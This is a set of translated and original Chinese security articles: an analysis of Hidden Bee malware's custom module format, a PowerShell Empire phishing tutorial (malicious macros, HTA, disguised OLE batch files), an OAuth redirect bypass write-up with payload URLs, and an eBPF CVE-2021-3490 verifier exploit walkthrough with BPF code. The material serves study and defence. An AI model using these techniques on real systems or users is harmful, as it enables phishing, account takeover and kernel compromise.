* DLL注入(APC、Atombombing)
(2) 被动模式
* DLL劫持
* BHO
站在防御的角度，应对主动模式的利用方法，需要注意iexplore.exe的父进程是否可疑；应对DLL注入和DLL劫持，可监控敏感API的调用；应对BHO对象，可监控特定注册表 | 社区文章 |
本文翻译自：<https://blog.malwarebytes.com/threat-analysis/2018/08/reversing-malware-in-a-custom-format-hidden-bee-elements/>
* * *
恶意软件通常由许多组件组成，比如宏和脚本就是比较常见的恶意下载器。一些功能是通过shellcode实现的。还有更复杂的元素和核心模块，即原生Windows可执行文件格式——PE文件。
原因很简单，在PE文件中实现复杂的功能比在shellcode中要容易得多。PE格式有定义好的结构，也有更多的灵活性。有一些头文件就定义了应该加载哪些导入、何时应该加载，以及重定位的应用等。PE格式也是编译Windows应用的默认生成格式，其结构之后被Windows加载器用于加载和执行应用。当恶意软件作者开发定制的加载器时，大多会选择PE格式。
但也会有一些例外的情况，比如与Hidden Bee相关的payload。研究人员在分析Hidden
Bee的payload时发现有两个释放的payload并不是PE格式。其结构组织良好、并且比常见的shellcode要复杂得多。下面对其格式进行分析。
# 概览
第一个payload（扩展名为.wasm）是一个加载器，负责下载和解压Cabinet文件：
第二个payload是从Cabinet文件中解压的：
与大多数shellcode相比，其并不是从代码开始的，而是从头文件。比较两个模块，可以看出两个头的结构相同。
# Headers
下面解释header中不同域的意义：
两个payload的第一个域都是DWORD: 0x10000301，研究人员未发现对应的模块号，因此，研究人员猜测这是格式识别号。
接着是与加载导入相关的元素的偏移量。第一个0x18指向DLL列表，第二个0x60看起来更加神秘，可以理解未在IDA中加载该模块。下图可以看到这些域的交叉引用：
可以看出被用作IAT，即用导入函数的地址来填充：
下一个值是DWORD (0x2A62)，如果在IDA中追踪，就可以看到指向一个新函数的开始：
该函数没有被任何函数引用，因此研究人员猜测这是程序的入口点。
下一个值（0x509C）与整个模块的大小相同。
倒数第二个DWORD (0x4D78)指向的结构与PE的重定位非常相似。研究人员猜测这应该是模块的重定位表，最后一个是的DWORD是其大小。
然后就重构了全部的header：
typedef struct {
DWORD magic;
WORD dll_list;
WORD iat;
DWORD ep;
DWORD mod_size;
DWORD relocs_size;
DWORD relocs;
} t_bee_hdr;
# Imports
从header的分析中可以得知，DLL列表的开始点是在0x18，可以看出每个DLL名中都加入了一个数字：
该数字并不与DLL名相对应：因为在两个不同的模块同，相同的DLL被分配的数字不相同。但如果把所有数字都加起来，那么和与IAT中DWORD的数是相同的。因此，可以推测这些数说明了有多少函数从某个特定的DLL中导入的次数。
typedef struct {
WORD func_count;
char name;
} t_dll_name;
根据上面的结构，IAT中的DWORD列表：
在恶意软件中，一般函数名都不是明确的字符串，而是通过校验和导入的。这里也是一样，猜测用于计算校验和的函数很难。但还是在加载器组件中找到了：
DWORD checksum(char *func_name)
{
DWORD result = 0x1505;
while ( *func_name )
result = *func_name++ + 33 * result;
return result;
}
知道了函数后，就可以与函数名的校验和进行配对了：
一旦提取出函数地址，就保存在IAT中校验和的位置。
# Relocations
创建一个重定位表很难，因为其中包含了模块加载时可以识别加入到base中的偏移量的DWORD。如果不适用重定位，模块就会奔溃。
# 对比PE格式
虽然PE格式很复杂，有不同的header，但只包含必须项。大多数保存在PE header中的信息这里都略去了。
下面是Ange Albertini可视化的PE格式效果图：
(<https://raw.githubusercontent.com/corkami/pics/master/binary/PE101.png>)
比较可视化效果图：
# 静态分析
可以在IDA中以原始代码的形式加载代码，但可能会错失很多重要信息。因为该文件并不是PE格式的，所以其导入表也不是标准的，所以很难理解API调用的位置。为了解决这个问题，研究人员开发了一个工具将哈希值解析为函数名，并生成一个TAG文件来标记每个函数地址的偏移量。
这些标签可以用IFL插件加载到IDA中：
标记了所有的API函数后，理解该模块执行哪些动作就容易多了。比如，可以看出下图是与C2服务器建立连接：
# 动态分析
该格式是定制的，所以通用的分析工具是不支持的。但在理解了其原理后，就可以开发响应的工具，比如开发header分析器和加载器来帮助分析动态过程。
与PE格式相比，该模式没有分区（section）。所以需要加载到一个有RWX（读写和执行）权限的连续内存区。经过重定位列表，可以将base值加入到加载到列表地址的模块中。然后，通过哈希值解析出导入的函数，并将地址填入thunk中。然后，只需要跳转到模块的入口点即可。
# 总结
上面描述的元素非常简单，是恶意软件包的第一阶段，会下载其他代码并注入到进程中。但恶意软件作者有许多的创新性，并开发出一个比PE格式简单的定制的格式，比shellcode要先进一步。与独立的shellcode相比，这样的模块是不能以一种简单的方式加载的，必须首先进行语法和语义分析。不过，完全定制的格式在恶意软件界并不多见，一般来说，恶意软件作者会根据现有格式进行修改，比如破坏或定制PE头中的指定部分。 | 社区文章 |
# 【技术分享】利用PowerShell Empire生成网络钓鱼文件
|
##### 译文声明
本文是翻译文章，文章来源：enigma0x3.net
原文地址：<https://enigma0x3.net/2016/03/15/phishing-with-empire/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
预估稿费：180RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
目前，大部分网络攻击的第一步还是对目标进行网络钓鱼攻击。一旦网络钓鱼攻击成功，那么你就得到了一个进入目标网络的立足点，然后，你就可以畅快的继续玩耍了。一个好用的钓鱼邮件往往能起到很好的效果，下面我使用PowerShell
Empire为大家介绍几种生成钓鱼文件的方法。Empire的载荷包含了多种输出格式，这些输出格式包括宏、HTML应用程序(HTAs)、OLE对象的批处理文件等等。在本次实践中，我将结合实例，对其中的三个受欢迎的输出格式进行详细介绍和示范。
**包含恶意宏的Office文件**
为了产生一个Office宏格式的Empire钓鱼文件，需要使用Empire的“macro”载荷，同时，当成功钓鱼后，为了能收到目标发来的信息，你肯定还得设置一个监听，下图为开启监听：
如上图所示，监听已经开启，需要注意的是，上图中监听的名称是“test”，你可以对该名称重命名，当需要开启多个监听时，多个监听必须有不同的名称，并使用不同的端口。
然后，使用“macro”载荷，如下图：
如上图，在这里需要设置一个参数，需要将该载荷对应到“test”监听上。然后执行，会生成一个宏，并存储在“/tmp/macro”文件中，如下图：
从上图的VBA代码中可以看出，该宏实际上仅仅执行了一个Empire PowerShell载荷，该载荷使用PowerShell的编码命令进行了转换。
然后我们需要将上面的宏添加到一个Office文档中，我们只需要新建一个Word文件或Excel文件，并点击“视图”标签，选择“宏”，给这个宏起一个名称，然后在“宏的位置”选项中，选择当前文件。
然后点击“创建”，会跳出VB编辑界面，将里面已有的代码删除，然后，将刚才用Empire生成的宏复制粘贴进去，并保存为“Word 97-2003”或“Word
Macro-Enabled Document”文件。
然后，你还需要做的是编辑一下Word文件的内容，最好用一些社会工程学的策略，增加目标启用宏的可能性。当目标收到该恶意文件，并打开它时，会呈现出如下的界面：
如果目标点击了“启用宏”，Empire载荷就会被执行，并连接到我们的Empire控制台。如下图：
为了在目标环境中得到一个立足点，Office宏是一个很好的办法。
**HTML应用程序(HTA)**
HTML应用程序实际上是一个包含HTML的文件，不过它支持VBScript或JavaScript脚本。通过将恶意代码嵌入到HTA文件中，并托管在一个WEB网站上，当目标用浏览器打开HTA链接时，在目标系统中就可以成功的执行HTA包含的代码。
为了在Empire中生成HTA，我们需要使用Empire的“HTA”载荷，当然，你要想让它成功上线，你必须时刻保持正常的监听状态，下图为开启监听，并生成hta：
如上图，Empire会将它输出到一个文件中，如下图所示：
实际上该HTA的目的还是想方设法的执行PowerShell。然后，为了使用HTA文件，你需要将它托管在一个你的目标可以访问到的地方。为了让大家能更好的理解，我将该文件托管在本地，并开启本地apache服务器，网站根目录是“/var/www/html”，将“test.hta”复制到“/var/www/html”文件夹。
如下图：
然后，将HTA的链接以网络钓鱼的方式发送给将要攻击的目标，需要注意的是，你最好使用一些社会工程学策略，让这个链接看起来更可信。
当目标访问该链接时，他们会看到类似于下图的一个对话框：
如果目标点击了“运行”，那么HTML应用程序就会被执行，然后，它会询问受害人是否允许应用程序，当点击“允许”后，如下图：
HTA就会执行内嵌的Empire PowerShell载荷，结果如下图：
看到了吧，目标已经成功上线了。
**OLE对象**
除了上面的方法，在微软Office中，我们还可以利用OLE对象，可以向Office中内嵌一个“.bat”文件。下面，我们使用Empire的“launcher_bat”载荷生成一个“.bat”文件，如下图：
如下图，已经生成了一个自删除的批处理文件，包含了一个Empire客户端载荷代码，实际上它的核心还是一段编码的PowerShell代码。
然后，我们需要将该文件插入到一个Office文件中，如下图，在“插入”标签中，点击“对象”按钮，如下图：
然后选择“由文件创建”(Create from
File)标签，点击“浏览”(Browse)，并选择你刚才创建的批处理文件，然后点击“显示为图标”(Display as Icon)复选框，如下图：
同时，你可以点击“更改图标”(Change
Icon)来添加一个新图标。添加微软Excel、Word或PowerPoint图标是一个不错的选择。并且，在“更改图标”的界面里，你可以更改文件的名称，和任何你想要的扩展名。下图是更改后的结果：
点击“确定”后，该对象就会被插入到该Word文档的内容中，和插入一个图片相比，看起来差不多。如下图Word内容所示：
然后，你需要做的是将这个文件发送给攻击目标，一旦攻击目标双击了这个图标，并运行了内嵌的批处理文件，那你就成功了，如下图，成功返回SHELL：
下图是执行“PS”命令后的部分结果：
以上就是利用PowerShell Empire生成三种钓鱼文件的方法，通常都会以钓鱼邮件附件或链接的形式发送给攻击目标，其次PowerShell
Empire还有其它几种输出格式，有兴趣的可以逐个试一试。
在以上三种方法中，目前，包含恶意宏的Office文件是现在最常见的方法。当然，在基本的免杀没问题的情况下，为了使钓鱼攻击最终能成功，需要非常重视的一点是：精心设计的社会工程学策略。
**参考链接**
<http://www.powershellempire.com/?page_id=104>
<http://www.darkoperator.com/blog/2016/4/2/meterpreter-new-windows-powershell-extension>
<https://attackerkb.com/Powershell/Powershell_Empire>
<http://www.powershellempire.com/>
<http://www.sixdub.net/?p=627>
<http://www.freebuf.com/articles/web/76892.html> | 社区文章 |
最近在做项目的时候，连续遇到两个项目都存在outh验证功能，且最终都因重定向会导致账号凭证泄漏，从而导致账户劫持。遂打算写下自己在先知的第一篇文章，希望和大家一起交流学习。
关于账户劫持的知识，大家可以从先知的其他帖子获取姿势呦。
为了安全起见，url已经二次编辑过。
# 项目1
此项目是在主站登陆时会使用微信扫码登陆，属于微信端outh。
功能逻辑：点击登陆 - 跳转到扫码页面 - 扫码 - 请求open.wx outh验证 - 返回并且跳转。
payload url模拟
`https://project1/passport/login?redirect_uri=https%3A%2F%2Fproject1:[email protected]&client_id=xxx&response_type=code`
在正常情况下，如果修改project1为其他值，则会导致验证失败，并不会直接跳转，这也是outh验证的基本逻辑。
经过简单的测试发现，url验证只是基于前缀白名单校验，也就是说，我们有两种方式bypass
project1:aa@redirect_url
project1.attacker.com
这样，只要访问payload url，然后通过验证之后，会跳转到@后指定的url，这里为burp client。然后查看burp
client的请求包，即可发现，code泄漏，最终可导致账户劫持
# 项目2
就在项目1之后，对于挖open redirect感觉自己已经完全ojbk了，所以在遇到项目2有outh功能的时候，可以说是“不屑一顾”。噩梦就这样来了。
正常功能url
`https://project2/uc/Login.html?THREETYPE=2&BACKURL=https%3a%2f%2fproject2%2f`
当看到backurl参数的时候，我就想，还不是随随便便绕过吗。
于是，开启了项目1中利用到的姿势，project2:aa@aim_url, project2.attacker.com。
都不行。有点不服。
初步查看请求包后发现，其实存在两步验证，访问正常url的时候，就会向服务端发出另一个请求，用于判断url是否合法，不合法就会返回url未校验。
请求包中的参数长这个样子：
{"url":"project2"} //没有协议和斜杠，类似请求的host。
进一步测试发现，如果在project之后加了 / 之外的任意内容，都会被判断为非法url。像这样：
project2?a=1
project2:aa@url
project2@url
从后缀加了/之后会永远跳转到该域下，所以从后缀绕过的方法已经不可用。只能从前缀考虑。
这个时候我就想，系统到底是如何把url提取成类似host的形式的。<https://project2/> 会变成project2。
转换成正则的形式就是说，从左到右寻找第一次出现两个/（//）的地方，然后截断，再寻找第一次出现一个/的地方，截断。这样就能提取出第二步验证时候的url。
幸运的是，发现除了waf之外，并未做协议检测，也就是说
a://project2/会被认为是合法的。javascript由于有waf的存在直接被拦截。而且直接输入//project/ 也会成功验证。
如果对浏览器url格式特别熟悉的人此时应该已经构造除了payload。但是由于自己当时并没有一个清晰的思路去思考这个问题，只是一连串的fuzz去测试，导致本来可以轻易解决的问题，用了很长时间，并且问了好几个人之后才有了思路。（豪子哥+涛子哥）
任意协议+只验证//，就会导致//前的内容其实可以任意构造，而浏览器会认为//和/没啥区别，访问xz.aliyun.com/t/
和xz.aliyun.com//t/ 是会到一个地方的。
这样的话顺着思路构造的payload为
`https://project2/uc/Login.html?THREETYPE=2&BACKURL=a:b@attacker_url%2f%2fproject2%2f`
根据code重新生成login_token。
发现通过验证之后成功跳转到attacker_url下。
# 总结
基础知识+一个清晰的思路对于挖掘漏洞来说特别重要。基础知识决定自己思路的广度，而清晰的思路对于解决问题有着催化作用。 | 社区文章 |
## eBPF漏洞CVE-2021-3490分析与利用
### 漏洞分析
verifier为了跟踪每一个寄存器的边界值（防止越界读写），会对寄存器的每一次运算模拟求解边界值（最大/最小值），由于寄存器是64bits，但是实际参与运算可能是32bits，因此实际会对32/64都进行边界校验，由`adjust_scalar_min_max_vals`和`adjust_reg_min_max_vals`函数完成
/* WARNING: This function does calculations on 64-bit values, but the actual
* execution may occur on 32-bit values. Therefore, things like bitshifts
* need extra checks in the 32-bit case.
*/
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg,
struct bpf_reg_state src_reg)
{
struct bpf_reg_state *regs = cur_regs(env);
u8 opcode = BPF_OP(insn->code);
...
switch (opcode) {
case BPF_ADD:
ret = sanitize_val_alu(env, insn);
if (ret < 0) {
verbose(env, "R%d tried to add from different pointers or scalars\n", dst);
return ret;
}
scalar32_min_max_add(dst_reg, &src_reg);
scalar_min_max_add(dst_reg, &src_reg);
dst_reg->var_off = tnum_add(dst_reg->var_off, src_reg.var_off);
break;
case BPF_SUB:
ret = sanitize_val_alu(env, insn);
if (ret < 0) {
verbose(env, "R%d tried to sub from different pointers or scalars\n", dst);
return ret;
}
scalar32_min_max_sub(dst_reg, &src_reg);
scalar_min_max_sub(dst_reg, &src_reg);
dst_reg->var_off = tnum_sub(dst_reg->var_off, src_reg.var_off);
break;
case BPF_MUL:
dst_reg->var_off = tnum_mul(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_mul(dst_reg, &src_reg);
scalar_min_max_mul(dst_reg, &src_reg);
break;
case BPF_AND:
dst_reg->var_off = tnum_and(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_and(dst_reg, &src_reg);
scalar_min_max_and(dst_reg, &src_reg);
break;
case BPF_OR:
dst_reg->var_off = tnum_or(dst_reg->var_off, src_reg.var_off);
scalar32_min_max_or(dst_reg, &src_reg);
scalar_min_max_or(dst_reg, &src_reg);
break;
case BPF_LSH:
if (umax_val >= insn_bitness) {
/* Shifts greater than 31 or 63 are undefined.
* This includes shifts by a negative number.
*/
mark_reg_unknown(env, regs, insn->dst_reg);
break;
}
if (alu32)
scalar32_min_max_lsh(dst_reg, &src_reg);
else
scalar_min_max_lsh(dst_reg, &src_reg);
break;
case BPF_RSH:
if (umax_val >= insn_bitness) {
/* Shifts greater than 31 or 63 are undefined.
* This includes shifts by a negative number.
*/
mark_reg_unknown(env, regs, insn->dst_reg);
break;
}
if (alu32)
scalar32_min_max_rsh(dst_reg, &src_reg);
else
scalar_min_max_rsh(dst_reg, &src_reg);
break;
case BPF_ARSH:
if (umax_val >= insn_bitness) {
/* Shifts greater than 31 or 63 are undefined.
* This includes shifts by a negative number.
*/
mark_reg_unknown(env, regs, insn->dst_reg);
break;
}
if (alu32)
scalar32_min_max_arsh(dst_reg, &src_reg);
else
scalar_min_max_arsh(dst_reg, &src_reg);
break;
default:
mark_reg_unknown(env, regs, insn->dst_reg);
break;
}
/* ALU32 ops are zero extended into 64bit register */
if (alu32)
zext_32_to_64(dst_reg);
__update_reg_bounds(dst_reg);
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);
return 0;
}
漏洞就出现在32bit的`BPF_AND`/`BPF_OR`/`BPF_XOR`运算上
static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->s32_min_value;
u32 umax_val = src_reg->u32_max_value;
/* Assuming scalar64_min_max_and will be called so its safe
* to skip updating register for known 32-bit case.
*/
if (src_known && dst_known)
return;
...
}
上面的代码说明当32bit
源寄存器和目的寄存器的值都是`known`的时候，就不更新32bit的边界值。注释说明在这种情况下`scalar64_min_max_and`会处理。
static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_is_const(src_reg->var_off);
bool dst_known = tnum_is_const(dst_reg->var_off);
s64 smin_val = src_reg->smin_value;
u64 umax_val = src_reg->umax_value;
if (src_known && dst_known) {
__mark_reg_known(dst_reg, dst_reg->var_off.value &
src_reg->var_off.value);
return;
}
...
}
在64bit边界值校验中，在源和目的寄存器都是`known`的情况下，会调用`__mark_reg_known`函数。
但是这里有一个区别
* 在scalar32_min_max_and中用的tnum_subreg_is_const校验寄存器的低32位是否是known；
* 在scalar_min_max_and中用的tnum_is_const校验寄存器的64位是否是known
这里就有一个例外的情况，即一个reg的低32位是`known`，高32位是`unknown`。在这种情况下，__mark_reg32_known函数没有被调用，该函数会将寄存器的低32位设置为常数。
static void __mark_reg32_known(struct bpf_reg_state *reg, u64 imm)
{
reg->var_off = tnum_const_subreg(reg->var_off, imm);
reg->s32_min_value = (s32)imm;
reg->s32_max_value = (s32)imm;
reg->u32_min_value = (u32)imm;
reg->u32_max_value = (u32)imm;
}
在adjust_scalar_min_max_vals函数返回前，调用了下面三个函数更新寄存器的边界值
__update_reg_bounds(dst_reg);
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);
return 0;
它们都有32/64两种实现，漏洞出现在32的实现中，我们只关注这一部分。
__update_reg32_bounds函数根据`reg.var_off`计算边界值
* 最小值：当前寄存器的最小值/已知的常数值（known）
* 最大值：当前寄存器的最大值/已知的常数值（known）
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
struct tnum var32_off = tnum_subreg(reg->var_off);
/* min signed is max(sign bit) | min(other bits) */
reg->s32_min_value = max_t(s32, reg->s32_min_value,
var32_off.value | (var32_off.mask & S32_MIN));
/* max signed is min(sign bit) | max(other bits) */
reg->s32_max_value = min_t(s32, reg->s32_max_value,
var32_off.value | (var32_off.mask & S32_MAX));
reg->u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask));
}
使用`signed`的最大/小值订正`unsigned`的边界值；反之也可以
/* Uses signed min/max values to inform unsigned, and vice-versa */
static void __reg32_deduce_bounds(struct bpf_reg_state *reg)
{
/* Learn sign from signed bounds.
* If we cannot cross the sign boundary, then signed and unsigned bounds
* are the same, so combine. This works even in the negative case, e.g.
* -3 s<= x s<= -1 implies 0xf...fd u<= x u<= 0xf...ff.
*/
if (reg->s32_min_value >= 0 || reg->s32_max_value < 0) {
reg->s32_min_value = reg->u32_min_value =
max_t(u32, reg->s32_min_value, reg->u32_min_value);
reg->s32_max_value = reg->u32_max_value =
min_t(u32, reg->s32_max_value, reg->u32_max_value);
return;
}
/* Learn sign from unsigned bounds. Signed bounds cross the sign
* boundary, so we must be careful.
*/
if ((s32)reg->u32_max_value >= 0) {
/* Positive. We can't learn anything from the smin, but smax
* is positive, hence safe.
*/
reg->s32_min_value = reg->u32_min_value;
reg->s32_max_value = reg->u32_max_value =
min_t(u32, reg->s32_max_value, reg->u32_max_value);
} else if ((s32)reg->u32_min_value < 0) {
/* Negative. We can't learn anything from the smax, but smin
* is negative, hence safe.
*/
reg->s32_min_value = reg->u32_min_value =
max_t(u32, reg->s32_min_value, reg->u32_min_value);
reg->s32_max_value = reg->u32_max_value;
}
}
最后，调用`__reg_bound_offset`更新`var_off`。
/* Attempts to improve var_off based on unsigned min/max information */
static void __reg_bound_offset(struct bpf_reg_state *reg)
{
struct tnum var64_off = tnum_intersect(reg->var_off,
tnum_range(reg->umin_value,
reg->umax_value));
struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off),
tnum_range(reg->u32_min_value,
reg->u32_max_value));
reg->var_off = tnum_or(tnum_clear_subreg(var64_off), var32_off);
}
* `tnum_range`根据给定的`[umin_value, umax_value]`范围值，返回一个`tnum`
* `tnum_intersect`将两个已知的`tnum`合并为1个`tnum`（区间合并，取交集）
这里可以举一个实例以助理解上述过程存在的问题。
R2.var_off = {mask = 0xffffffff00000000, value = 0x01}; 即低32bits是known, 高32bits unkown.
1
R3.var_off = {mask = 0x0, value = 0x100000002}; 即整个64bits是known的，值为0x100000002;
对于`BPF_AND(R2, R3)`运算，R2的边界值变化如下
* `tnum_and`
u64 alpha = r2.mask | r2.value = 0xffffffff00000001
u64 beta = r3.mask | r3.value = 0x100000002
u64 v = r2.value & r3.value
ret = TNUM(v, alpha & beta & ~v)
ret = {mask = 0x100000000, value = 0x0}
R2.var_off = {mask = 0x100000000, value = 0x0}
* `scalar32_min_max_and`不会更改R2的边界值，这是因为R2和R3的低32bit都是`known`
* `__update_reg32_bounds`
R2.u32_min_value = R2.u32_max_value = 1; // 进入函数前的常数值
// 进入函数之后
u32_min_value = max_t(u32, reg->u32_min_value, (u32)var32_off.value)
= max(1, 0) = 1;
u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask));
= min(1, 0) = 0;
对于s32_min_value/max_value也是一样的
* 接下来的`__reg32_deduce_bounds`和`__reg_bound_offset`不会对R2的边界值产生影响
即在这种情况下我们得到的 **R2最小值是1，最大值是0**.
这显然是不合理的，而根本原因就在于在`scalar32_min_max_and`函数中，没有调用`__mark_reg32_known`更新u/s32_min/max_value，这也是后来的[fix方案](https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/patch/?id=10d2bb2e6b1d8c4576c56a748f697dbeb8388899)
### Exploitation
上述例子就是漏洞触发的路径，构造两个寄存器
R2.var_off = {mask = 0xffffffff00000000, value = 0x01}; 即低32bits是known, 高32bits unkown.
R3.var_off = {mask = 0x0, value = 0x100000002}; 即整个64bits是known的，值为0x100000002;
第二个相对更容易构造，因为所有的bit都是`known`的，直接可以赋值，但是由于指令的限制，我们只能用32bits运算
BPF_LD_IMM64(BPF_REG_8, 0x1); // r8 = 0x1
BPF_ALU64_IMM(BPF_LSH, BPF_REG_8, 32); // r8 <= 32 == 0x10000 0000
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 2); // r8 += 2 == 0x10000 0000 2
对于的一个，要获得`mask=0xffffffff00000000`，可以是先得到一个对于`verifier`看来完全是`unknown`的值，此时的`mask=
0xffffffffffffffff`；最直接的方法就是从map中取一个值。并且这种方法允许我们在运行时控制map的实际值，便于利用。
// Load a pointer to map_fd map info R9 R1
BPF_LD_MAP_FD(BPF_REG_9, mapfd);
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9); // r1 = mapfd
// R2=stack_ptr - 4
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10);
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4);
//Store the value 0 at stack_ptr - 4
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0); // r2 = stack_ptr - 4; *r2 = 0
// Call helper function map_lookup_elem, First parameter is in R1 // (map pointer). Second parameter is in R2, (ptr to elem index // value). *(word*)(stack_ptr-4) = 0)
BPF_RAW_INSN(BPF_JNE | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem);
调用`map_lookup_elem(mapfd, 0)`，将得到mapfd第一个elem，返回值在`R0`中。
BPF_LDX_MEM(BPF_DW, BPF_REG_5, BPF_REG_0, 0);
上述过程可以封装为一个`BPF_MAP_GET`（获取mapfd的指定elem）
#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
BPF_LDX_MEM(BPF_DW, dst, BPF_REG_0, 0), \
BPF_MOV64_IMM(BPF_REG_0, 0)
由于`BPF_REG_5`来自map，完全由用户态控制，对于veifier，它是完全unknown的，即{mask=0xffffffffffffffff,
value=0x0}；接下来我们需要将其低32bit设为`known`，可以and一个已知的常数值0xffffffff000000来构造。
BPF_MAP_GET(0, BPF_REG_5); // r5 = map.elem[0]
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5); // r6 = r5
BPF_MOV64_IMM(BPF_REG_2, 0xffffffff); // r2 = 0xffffffff
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32); // r2 <= 32 == 0xffffffff 00000000
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, BPF_REG_2); // r6 &= r2 ; high32 unkown, low 32 known
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x1); // r6.var_off = {mask=0xffffffff 00000000, value=0x01}
通过上述构造的两个寄存器的AND运算即可触发漏洞
// Trigger the vuln
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, BPF_REG_8); // r6 &= r8; r6.umin_value=0x1; r6.umax_value=0x0
此时r6低32位的真实值是`0x2 & 0x1 == 0x0`；
#### Path confusion
verfier在模拟执行bpf code时，遇到有条件分支，为了避免分支爆炸问题，会尝试根据寄存器的边界值，判断该条件分支是否只会走唯一的一条路径。
例如
BPF_JMP32_IMM(BPF_JGE, BPF_REG_6, 1, 5);
表示，如果`BPF_REG_6`的低32bit值大于等于1，将跳过接下来的5条指令。
对于JMP32，将由 _is_branch32_taken_ 函数判断是否只有一条分支可走，其余分支可以抛弃。
static int is_branch32_taken(struct bpf_reg_state *reg, u32 val, u8 opcode)
{
struct tnum subreg = tnum_subreg(reg->var_off);
s32 sval = (s32)val;
switch (opcode) {
....
case BPF_JGE:
if (reg->u32_min_value >= val)
return 1;
else if (reg->u32_max_value < val)
return 0;
break;
...
case BPF_JLE:
if (reg->u32_max_value <= val)
return 1;
else if (reg->u32_min_value > val)
return 0;
break;
...
}
return -1;
}
对于`JGE`，这里判断如果最小值已经满足条件（大于等于给定的比较值）后，就会返回TRUE；而不会去判断最大值的合法性。同样的对于`BPF_JLE`，先判断最大值是否满足条件（小于等于给定值）；
配合上述构造的`umin_value > umax_value`的情况，此时永远会返回TRUE，但是在实际运行中，R6=0,
会运行到FALSE；造成路径的混淆。
这也就意味着理论上，我们可以将任意危险的代码 **藏在FALSE** 分支实现，veifier不会对其安全性校验。
但是，事实上，verifier对于它认为永远不可达的代码（dead code）做了patch处理
static void sanitize_dead_code(struct bpf_verifier_env *env)
{
struct bpf_insn_aux_data *aux_data = env->insn_aux_data;
struct bpf_insn trap = BPF_JMP_IMM(BPF_JA, 0, 0, -1);
struct bpf_insn *insn = env->prog->insnsi;
const int insn_cnt = env->prog->len;
int i;
for (i = 0; i < insn_cnt; i++) {
if (aux_data[i].seen)
continue;
memcpy(insn + i, &trap, sizeof(trap));
aux_data[i].zext_dst = false;
}
}
这里的patch方案就是将所有 **dead code** 修改为 **JMP - 1** ，这就意味着一旦执行到 **dead code** ，将回退到
**条件分支代码** ，这就形成了一个无止境的循环。
它之所以不会通过常见的`nop`方案去patch，是担心这些 **dead code** 位于程序尾，程序有可能越界执行。
不通过触发 **Exception** 的方式去处理，是因为subprog也可以定位到这些 **dead code** 。
#### Info Leak
在verifier中会跟踪寄存器的状态，并且不允许将`PTR`的寄存器存储在map里或者作为返回值，防止泄露内核地址。
`adjust_ptr_min_max_vals`函数跟踪指针运算的边界
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
* Caller should also handle BPF_MOV case separately.
* If we return -EACCES, caller may want to try again treating pointer as a
* scalar. So we only emit a diagnostic if !env->allow_ptr_leaks.
*/
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
struct bpf_verifier_state *vstate = env->cur_state;
struct bpf_func_state *state = vstate->frame[vstate->curframe];
struct bpf_reg_state *regs = state->regs, *dst_reg;
bool known = tnum_is_const(off_reg->var_off);
s64 smin_val = off_reg->smin_value, smax_val = off_reg->smax_value,
smin_ptr = ptr_reg->smin_value, smax_ptr = ptr_reg->smax_value;
u64 umin_val = off_reg->umin_value, umax_val = off_reg->umax_value,
umin_ptr = ptr_reg->umin_value, umax_ptr = ptr_reg->umax_value;
struct bpf_sanitize_info info = {};
u8 opcode = BPF_OP(insn->code);
u32 dst = insn->dst_reg;
int ret;
dst_reg = ®s[dst];
if ((known && (smin_val != smax_val || umin_val != umax_val)) ||
smin_val > smax_val || umin_val > umax_val) {
/* Taint dst register if offset had invalid bounds derived from
* e.g. dead branches.
*/
__mark_reg_unknown(env, dst_reg);
return 0;
}
....
}
这里的dst_reg就是指针寄存器，off_reg是参与运算的scalar寄存器；
有一种特殊情况，即当off_reg是一个常量且，off_reg.umin_val >
off_reg.umax_val时，dst_reg会被标记为`unknown`，即`scalar`寄存器。即此时verifier不再认为dst_reg是一个指针类型，将运行存于map里，结合上述的不合理情况的存在，可以造成泄漏内核地址信息。
而通过前面构造的两个寄存器，我们可以成功得到满足这个条件的寄存器。
